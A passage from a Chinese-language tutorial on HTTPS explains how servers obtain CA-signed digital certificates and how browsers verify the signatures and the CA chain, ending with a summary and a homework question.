对于浏览器来说,数字证书有两个作用:一个是通过数字证书向浏览器证明服务器的身份,另一个是数字证书里面包含了服务器公钥。
|
||||
|
||||
接下来我们看看含有数字证书的HTTPS的请求流程,你可以参考下图:
|
||||
|
||||
<img src="https://static001.geekbang.org/resource/image/77/af/77c852ff2202b2b7bb3299a96a0f4aaf.png" alt="">
|
||||
|
||||
相较于第三版的HTTPS协议,这里主要有两点改变:
|
||||
|
||||
1. 服务器没有直接返回公钥给浏览器,而是返回了数字证书,而公钥正是包含在数字证书中的;
|
||||
1. 在浏览器端多了一个证书验证的操作,验证了证书之后,才继续后续流程。
|
||||
|
||||
通过引入数字证书,我们就实现了服务器的身份认证功能,这样即便黑客伪造了服务器,但是由于证书是没有办法伪造的,所以依然无法欺骗用户。
|
||||
|
||||
## 数字证书的申请和验证
|
||||
|
||||
通过上面四个版本的迭代,我们实现了目前的HTTPS架构。
|
||||
|
||||
在第四版的HTTPS中,我们提到过,有了数字证书,黑客就无法欺骗用户了,不过我们并没有解释清楚如何通过数字证书来证明用户身份,所以接下来我们再来把这个问题解释清楚。
|
||||
|
||||
### 如何申请数字证书
|
||||
|
||||
我们先来看看如何向CA申请证书。比如极客时间需要向某个CA去申请数字证书,通常的申请流程分以下几步:
|
||||
|
||||
- 首先极客时间需要准备一套私钥和公钥,私钥留着自己使用;
|
||||
- 然后极客时间向CA机构提交公钥、公司、站点等信息并等待认证,这个认证过程可能是收费的;
|
||||
- CA通过线上、线下等多种渠道来验证极客时间所提供信息的真实性,如公司是否存在、企业是否合法、域名是否归属该企业等;
|
||||
- 如信息审核通过,CA 会向极客时间签发认证的数字证书,包含了极客时间的公钥、组织信息、CA 的信息、有效时间、证书序列号等,这些信息都是明文的,同时包含一个CA生成的签名。
|
||||
|
||||
这样我们就完成了极客时间数字证书的申请过程。前面几步都很好理解,不过最后一步数字签名的过程还需要解释下:首先CA使用**Hash函数**来计算极客时间提交的明文信息,并得出**信息摘要**;然后CA再使用它的私钥对信息摘要进行加密,**加密后的密文就是CA颁给极客时间的数字签名**。这就相当于房管局在房产证上盖的章,这个章是可以去验证的,同样我们也可以通过数字签名来验证是否是该CA颁发的。
|
||||
|
||||
### 浏览器如何验证数字证书
|
||||
|
||||
有了CA签名过的数字证书,当浏览器向极客时间服务器发出请求时,服务器会返回数字证书给浏览器。
|
||||
|
||||
浏览器接收到数字证书之后,会对数字证书进行验证。首先浏览器读取证书中相关的明文信息,采用CA签名时相同的Hash函数来计算并得到**信息摘要A**;然后再利用对应 CA 的公钥解密签名数据,得到**信息摘要B**;对比信息摘要A和信息摘要B,如果一致,则可以确认证书是合法的,即证明了这个服务器是极客时间的;同时浏览器还会验证证书相关的域名信息、有效时间等信息。
|
||||
|
||||
这时候相当于验证了CA是谁,但是这个CA可能比较小众,浏览器不知道该不该信任它,然后浏览器会继续查找给这个CA颁发证书的CA,再以同样的方式验证它上级CA的可靠性。通常情况下,操作系统中会内置信任的顶级 CA 的证书信息(包含公钥),如果这个CA链中没有找到浏览器内置的顶级的CA,证书也会被判定非法。
|
||||
|
||||
另外,在申请和使用证书的过程中,还需要注意以下三点:
|
||||
|
||||
1. 申请数字证书是不需要提供私钥的,要确保私钥永远只能由服务器掌握;
|
||||
1. 数字证书最核心的是CA使用它的私钥生成的数字签名;
|
||||
1. 内置 CA 对应的证书称为根证书,根证书是最权威的机构,它们自己为自己签名,我们把这称为自签名证书。
|
||||
|
||||
## 总结
|
||||
|
||||
好了,今天就介绍到这里,下面我来总结下本文的主要内容。
|
||||
|
||||
由于HTTP的明文传输特性,在传输过程中的每一个环节,数据都有可能被窃取或者篡改,这倒逼着我们需要引入加密机制。于是我们在HTTP协议栈的TCP和HTTP层之间插入了一个安全层,负责数据的加密和解密操作。
|
||||
|
||||
我们使用对称加密实现了安全层,但是由于对称加密的密钥需要明文传输,所以我们又将对称加密改造成了非对称加密。但是非对称加密效率低且不能加密服务器到浏览器端的数据,于是我们又继续改在安全层,采用对称加密的方式加密传输数据和非对称加密的方式来传输密钥,这样我们就解决传输效率和两端数据安全传输的问题。
|
||||
|
||||
采用这种方式虽然能保证数据的安全传输,但是依然没办法证明服务器是可靠的,于是又引入了数字证书,数字证书是由CA签名过的,所以浏览器能够验证该证书的可靠性。
|
||||
|
||||
另外百看不如一试,我建议你自己亲手搭建一个HTTPS的站点,可以去freeSSL申请免费证书。链接我已经放在文中了:
|
||||
|
||||
- 中文:[https://freessl.cn/](https://freessl.cn/)
|
||||
- 英文:[https://www.freessl.com/](https://www.freessl.com/)
|
||||
|
||||
## 思考时间
|
||||
|
||||
今天留给你的作业:结合前面的文章以及本文,你来总结一下HTTPS的握手过程。
|
||||
|
||||
欢迎在留言区与我分享你的想法,也欢迎你在留言区记录你的思考过程。感谢阅读,如果你觉得这篇文章对你有帮助的话,也欢迎把它分享给更多的朋友。
|
||||
|
||||
|
||||
Reference in New Issue
Block a user